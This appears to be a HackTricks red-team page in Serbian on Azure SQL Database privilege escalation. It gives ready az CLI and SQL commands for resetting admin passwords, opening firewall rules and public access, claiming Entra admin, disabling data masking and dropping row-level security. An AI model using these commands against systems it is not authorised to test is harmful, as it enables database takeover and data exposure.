Az - SQL Database Privesc

Reading time: 6 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

SQL Database Privesc

Za više informacija o SQL bazi podataka, pogledajte:

Az - SQL

Microsoft.Sql/servers/read && Microsoft.Sql/servers/write

Sa ovim dozvolama, korisnik može izvršiti eskalaciju privilegija ažuriranjem ili kreiranjem Azure SQL servera i modifikovanjem kritičnih konfiguracija, uključujući administrativne akreditive. Ova dozvola omogućava korisniku da ažurira svojstva servera, uključujući SQL server admin lozinku, omogućavajući neovlašćen pristup ili kontrolu nad serverom. Takođe mogu kreirati nove servere, potencijalno uvodeći senčanu infrastrukturu u zle svrhe. Ovo postaje posebno kritično u okruženjima gde je "Microsoft Entra Authentication Only" onemogućeno, jer mogu iskoristiti SQL-baziranu autentifikaciju za sticanje neograničenog pristupa.

bash
# Change the server password
az sql server update \
--name <server_name> \
--resource-group <resource_group_name> \
--admin-password <new_password>

# Create a new server
az sql server create \
--name <new_server_name> \
--resource-group <resource_group_name> \
--location <location> \
--admin-user <admin_username> \
--admin-password <admin_passwor d>

Pored toga, neophodno je omogućiti javni pristup ako želite da pristupite sa neprivatnog krajnjeg tačke, da biste to omogućili:

bash
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--enable-public-network true

Pored toga, sa dozvolama možete omogućiti dodeljivanje identiteta, i raditi sa upravljanim identitetom koji je povezan sa serverom. Na primer, ovde sa upravljanim identitetom koji može pristupiti Azure Storage:

bash
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--assign_identity
sql
CREATE DATABASE SCOPED CREDENTIAL [ManagedIdentityCredential]
WITH IDENTITY = 'Managed Identity';
GO


CREATE EXTERNAL DATA SOURCE ManagedIdentity
WITH (
TYPE = BLOB_STORAGE,
LOCATION = 'https://<storage-account>.blob.core.windows.net/<container>',
CREDENTIAL = ManagedIdentityCredential
);
GO

SELECT *
FROM OPENROWSET(
BULK 'message.txt',
DATA_SOURCE = 'ManagedIdentity',
SINGLE_CLOB
) AS DataFile;
GO

Microsoft.Sql/servers/firewallRules/write

Napadač može manipulisati pravilima vatrozida na Azure SQL serverima kako bi omogućio neovlašćen pristup. Ovo se može iskoristiti za otvaranje servera za specifične IP adrese ili čitave IP opsege, uključujući javne IP adrese, omogućavajući pristup zlonamernim akterima. Ova aktivnost nakon eksploatacije može se koristiti za zaobilaženje postojećih mrežnih bezbednosnih kontrola, uspostavljanje postojanosti ili olakšavanje lateralnog kretanja unutar okruženja izlaganjem osetljivih resursa.

bash
# Create Firewall Rule
az sql server firewall-rule create \
--name <new-firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <start-ip-address> \
--end-ip-address <end-ip-address>

# Update Firewall Rule
az sql server firewall-rule update \
--name <firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <new-start-ip-address> \
--end-ip-address <new-end-ip-address>

Dodatno, Microsoft.Sql/servers/outboundFirewallRules/delete dozvola vam omogućava da obrišete pravilo vatrozida.
NAPOMENA: Potrebno je omogućiti javni pristup.

Microsoft.Sql/servers/ipv6FirewallRules/write

Sa ovom dozvolom, možete kreirati, modifikovati ili obrisati IPv6 pravila vatrozida na Azure SQL Serveru. Ovo bi moglo omogućiti napadaču ili ovlašćenom korisniku da zaobiđe postojeće mrežne bezbednosne konfiguracije i dobije neovlašćen pristup serveru. Dodavanjem pravila koje omogućava saobraćaj sa bilo koje IPv6 adrese, napadač bi mogao otvoriti server za spoljašnji pristup.

bash
az sql server firewall-rule create \
--server <server_name> \
--resource-group <resource_group_name> \
--name <rule_name> \
--start-ip-address <start_ipv6_address> \
--end-ip-address <end_ipv6_address>

Dodatno, Microsoft.Sql/servers/ipv6FirewallRules/delete dozvola vam omogućava da obrišete pravilo vatrozida.
NAPOMENA: Potrebno je omogućiti javni pristup.

Microsoft.Sql/servers/administrators/write && Microsoft.Sql/servers/administrators/read

Sa ovim dozvolama možete privesc u Azure SQL Server okruženju pristupajući SQL bazama podataka i preuzimajući kritične informacije. Koristeći komandu ispod, napadač ili ovlašćeni korisnik može postaviti sebe ili drugi nalog kao Azure AD administratora. Ako je "Microsoft Entra Authentication Only" omogućeno, možete pristupiti serveru i njegovim instancama. Evo komande za postavljanje Azure AD administratora za SQL server:

bash
az sql server ad-admin create \
--server <server_name> \
--resource-group <resource_group_name> \
--display-name <admin_display_name> \
--object-id <azure_subscribtion_id>

Microsoft.Sql/servers/azureADOnlyAuthentications/write && Microsoft.Sql/servers/azureADOnlyAuthentications/read

Sa ovim dozvolama, možete konfigurisati i primeniti "Microsoft Entra Authentication Only" na Azure SQL Serveru, što može olakšati eskalaciju privilegija u određenim scenarijima. Napadač ili ovlašćeni korisnik sa ovim dozvolama može omogućiti ili onemogućiti Azure AD-only autentifikaciju.

bash
#Enable
az sql server azure-ad-only-auth enable \
--server <server_name> \
--resource-group <resource_group_name>

#Disable
az sql server azure-ad-only-auth disable \
--server <server_name> \
--resource-group <resource_group_name>

Microsoft.Sql/servers/databases/dataMaskingPolicies/write

Izmenite (ili onemogućite) politike maskiranja podataka na vašim SQL bazama podataka.

bash
az rest --method put \
--uri "https://management.azure.com/subscriptions/<your-subscription-id>/resourceGroups/<your-resource-group>/providers/Microsoft.Sql/servers/<your-server>/databases/<your-database>/dataMaskingPolicies/Default?api-version=2021-11-01" \
--body '{
"properties": {
"dataMaskingState": "Disable"
}
}'

Ukloni sigurnost na nivou reda

Ako se prijavite kao administrator, možete ukloniti politike samog administratora i drugih korisnika.

sql
DROP SECURITY POLICY [Name_of_policy];

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks